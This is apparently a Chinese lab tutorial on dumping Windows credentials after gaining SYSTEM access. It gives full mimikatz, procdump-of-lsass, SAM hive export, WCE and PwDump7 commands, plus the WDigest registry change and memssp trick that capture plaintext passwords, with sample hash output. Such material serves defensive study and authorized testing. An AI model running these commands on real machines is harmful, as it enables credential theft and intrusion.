Windows密码凭证获取学习

2022-08-11 14:16:43 浏览数 (1)

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

本文首发乌鸦安全知识星球!

更新时间:2022.08.04

1. 说明

本文参考了大量的第三方文档,参考资料如下,感谢各位师傅的帮助。

代码语言:javascript复制
https://www.secrss.com/articles/24903
https://mp.weixin.qq.com/s/jW2tUXkiBaC6PiF-kRWb1Q
https://mp.weixin.qq.com/s/As4YZ8XDWCfBfieDUU30Ow
https://mp.weixin.qq.com/s/4nlyOIuyQZ9h0Bb5jQO4wQ
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://mp.weixin.qq.com/s/-pijbPocXG8bSDU-l4i4RA
https://zhuanlan.zhihu.com/p/57800688
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://xz.aliyun.com/t/10734#toc-2

2. Windows获取凭证或密码

一般来说,在我们获取到Windowssystem权限之后,一般都喜欢去看下密码,哪怕是hash,也想尝试去解一下,Windows下的安全认证机制总共有两种,一种是基于NTLM的认证方式,主要用在早期的Windows工作组环境中;另一种是基于Kerberos的认证方式,主要用在域环境中。

关于NTLM的知识,在这里就不在展开了,有兴趣的可以去搜下。

3. 环境准备

本次环境共准备了Windows server2003Windows7Windows10Windows server2012,按照他们的特点,有针对的进行实操获取。

本文默认已获取system权限的情况下进行操作。

4. 获取密码或hash方法

4.1 Mimikatz

这个神器肯定是大家都不陌生的, 以前我也写过关于这个工具的免杀学习文档。

原版工具:https://github.com/gentilkiwi/mimikatz

使用方法:

代码语言:javascript复制
privilege::debug 
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

4.1.1 server2003

systeminfo查看当前的电脑是32位的,所以在这里就使用32位的来试下:

执行命令之后可以直接获取到明文:

代码语言:javascript复制
privilege::debug 
sekurlsa::logonpasswords

4.1.2 windows10

在这里先关闭Windows10Windows defender,在这里并不对其进行免杀研究,直接使用x64位的之后,来获取hash

执行命令之后只能够获取hash,不能够直接获取明文:

代码语言:javascript复制
209c6174da490caeb422f3fa5a7ae634

可以通过第三方的方式来获取密码:

当然,mimikatz也可以使用非交互的方式来获取hash

代码语言:javascript复制
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

4.2 注册表导出hash

有时候,因为某些问题,导致无法直接获取hash,所以在这里还可以使用注册表导出hash的方式来进行,具体的步骤如下: 在靶机上使用以下命令(需要system权限):

代码语言:javascript复制
靶机上执行:
reg save HKLMSYSTEM system.hiv

reg save HKLMSAM sam.hiv

reg save hklmsecurity security.hiv


在本地使用mimikatz执行:
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

4.2.1 server2003

打开cmd执行命令,导出system.hivsam.hivsecurity.hiv文件:

代码语言:javascript复制
reg save HKLMSYSTEM system.hiv
reg save HKLMSAM sam.hiv
reg save hklmsecurity security.hiv

最后使用mimikatz执行,在非靶标机器上,不需要system权限:

代码语言:javascript复制
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
代码语言:javascript复制
RID  : 000001f4 (500)
User : Administrator
  Hash LM  : f0d412bd764ffe81aad3b435b51404ee
  Hash NTLM: 209c6174da490caeb422f3fa5a7ae634

直接去查询即可。

4.2.2 Windows10

使用同样的方法导出之后再解密:

获取到hash信息:

代码语言:javascript复制
User : admin
  Hash NTLM: 209c6174da490caeb422f3fa5a7ae634

4.3 pass64.exe

这个文件是我早些时候渗透的时候获得的,在win78等低于Windows10的系统上(这种说法不严谨),使用system权限运行能够直接获取64位系统的账号和密码信息。 这个工具应该是PwDump7工具的魔改版本。 在win10上因为无法获取账号密码报错:

win7环境下:

4.4 PwDump7

工具下载地址:

代码语言:javascript复制
https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip

image.png

4.4.1 server2003

可以在Windows2003上执行,手工将得到的结果保存在1.txt中: PwDump7.exe > 1.txt

代码语言:javascript复制
Administrator:500:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:E0BD9A807066324A42B519FF5BEFF787:::
IUSR_TEST-D19EBC014E:1003:D4A491469B36E4DEDFF5B37B55778470:2471C03E798817564147AAA062FE8E22:::
IWAM_TEST-D19EBC014E:1004:CE5EF4E001CFA44F29C8D4F0A6CA5261:15F2DD2C17E53DD2FB0E43A1F6B1DFD6:::
ASPNET:1006:6FF5F98464BA40B4762AEFFACC0990D3:E1C2E3693E2A0392D8F625BB47CA78C1:::
test:1007:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::

4.4.2 windows10

4.5 Procdump Mimikatz

ProcDump是一个命令行程序,可以将系统正在运行的进程转存储生成为dump文件,微软自己的工具,理论上来说不应该会被杀。它的原理是Procdump导出lsass.exe的转储文件,使用mimikatz读取器中的hash。

如果对方机器是win10以下的,都可以获取明文密码。

下载地址:

代码语言:javascript复制
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

使用方法: 先dumplsass.exe

代码语言:javascript复制
32位:
procdump.exe -accepteula -ma lsass.exe lsass.dmp

64位:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

mimikatz读取:

代码语言:javascript复制
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.5.1 server2003

无法使用

4.5.2 Windows10

执行命令:

代码语言:javascript复制
procdump.exe -accepteula -ma lsass.exe lsass.dmp

然后使用mimikatz读取:

代码语言:javascript复制
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.6 WCE

官网地址:https://www.ampliasecurity.com/research.html 32位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip 64位下载:https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip

代码语言:javascript复制
参数解释:
-l          列出登录的会话和NTLM凭据(默认值)
-s               修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
-r                不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
-c               用一个特殊的NTML凭据运行一个新的会话 参数:<cmd>
-e               不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
-o               保存所有的输出到一个文件 参数:<文件名>
-i                指定一个LUID代替使用当前登录会话 参数:<luid>
-d               从登录会话中删除NTLM凭据 参数:<luid>
-a               使用地址 参数: <地址>
-f                强制使用安全模式
-g               生成LM和NT的哈希 参数<密码>
-K               缓存kerberos票据到一个文件(unix和windows wce格式)
-k               从一个文件中读取kerberos票据并插入到windows缓存中
-w              通过摘要式认证缓存一个明文的密码
-v               详细输出

使用方法:wce.exe -l或者直接wce

4.6.1 server2003

4.6.2 Windows10

无法使用:

4.6.3 Windows7

正常执行:

5. Windows获取明文密码

在这里主要是获取Windows高版本的明文密码,因为在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。

本次环境Windows server2012,本文默认已获取system权限的情况下进行操作。

而且本文不讨论抓取密码工具或方法的免杀方式。

6. 获取明文密码方法

6.1 修改注册表

前提条件:

  • system权限
  • • 需要锁屏后重新登录

在这里依旧使用mimikatz进行密码的抓取,默认情况下是无法获取明文信息的:

代码语言:javascript复制
privilege::debug 
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

使用命令行将其修改成记录明文密码,在这里需要注意使用管理员权限来执行:

代码语言:javascript复制
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

再使用命令锁屏:(这个命令可以使用用户权限来执行)

代码语言:javascript复制
rundll32.exe user32.dll,LockWorkStation

接下来等待用户再次登录一次就可以抓到了:

如果说在修改之后抓取到了密码,想要恢复对方的注册表,只需要执行下面的命令即可:(依旧需要使用管理员权限)

代码语言:javascript复制
修改不记录明文密码
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

再次重启下就可以了:(锁屏无效)

代码语言:javascript复制
privilege::debug 
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

6.2 mimikatz插ssp记录密码

需要的条件:

  • system权限
  • • 锁屏并重新登入

在这里使用mimikatz来实现:

代码语言:javascript复制
privilege::debug

misc::memssp

修改完之后使用以下命令锁屏:rundll32.exe user32.dll,LockWorkStation 然后在以下目录下发现明文密码:

代码语言:javascript复制
C:WindowsSystem32mimilsa.log

7. 总结

其实还有很多的其他方法,在这里就不进行一个个演示了,而且在这里并没有对其是否免杀的能力进行测试,对于不同的环境,免杀的方法也不相同,等以后有时间再学习下。

0 人点赞